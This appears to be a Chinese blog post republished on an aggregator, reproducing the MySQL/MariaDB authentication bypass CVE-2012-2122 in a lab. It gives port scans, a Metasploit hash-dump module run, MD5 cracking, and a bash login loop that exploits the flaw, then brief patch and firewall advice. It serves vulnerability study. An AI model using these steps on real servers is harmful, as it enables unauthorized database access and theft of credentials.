当前位置:首页 » 《资源分享》 » 正文

Mysql身份认证绕过漏洞(CVE-2012-2122)复现_君莫hacker的博客

28 人参与  2021年10月14日 09:43  分类 : 《资源分享》  评论

点击全文阅读


0x01 漏洞介绍

  1. 漏洞描述
    当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。

  2. 漏洞编号
    CVE-2012-2122

  3. 受影响版本

数据库版本
MariaDB5.1.62, 5.2.12, 5.3.6, 5.5.23
MySQL5.1.63, 5.5.24, 5.6.6

0x02 环境部署

搭建一次,复现百次
靶机 ip:192.168.30.209
kali ip:192.168.30.182

0x03 漏洞复现

方法一:msf

1. 使用nmap扫描

使用nmap 对靶机进行扫描,查看所开放的端口,以及扫描数据库的版本信息

masscan --rate=10000 --ports 0-65535 192.168.30.209
nmap -T4 -sV -O -p 3306 192.168.30.209

在这里插入图片描述
发现目标主机开放端口3306
在这里插入图片描述
并且是mysql数据库,对应版本版本为5.5.23,可以对其尝试进行身份认证绕过操作

2. 配置msf参数,对靶机进行攻击

#启动msf
┌──(root💀kali)-[~/桌面]
└─# msfconsole          
#选择需要使用的模块
msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
#查看选项
msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > show options

Module options (auxiliary/scanner/mysql/mysql_authbypass_hashdump):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     3306             yes       The target port (TCP)
   THREADS   1                yes       The number of concurrent threads (max one per host)
   USERNAME  root             yes       The username to authenticate as
#配置参数
msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > set rhosts 192.168.30.209
rhosts => 192.168.30.209
msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > set threads 20
threads => 20
#运行
msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > exploit

在这里插入图片描述
我们可以看到已经罗列出来经MD5加密的root用户密码
在这里插入图片描述

3. 在网站进行解密

MD5解密网站
在这里插入图片描述

4. 远程连接mysql数据库

mysql -h 192.168.30.209 -u root -p123456

在这里插入图片描述
连接成功

方法二:执行脚本

在终端运行命令

for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.30.209 -P3306 ; done

在这里插入图片描述
在这里插入图片描述
直接拿下数据库,复现成功

0x04 漏洞修复

  1. 对数据库进行升级打补丁

  2. 在防火墙上关闭mysql端口


点击全文阅读


本文链接:http://zhangshiyu.com/post/29864.html

靶机  数据库  复现  
<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1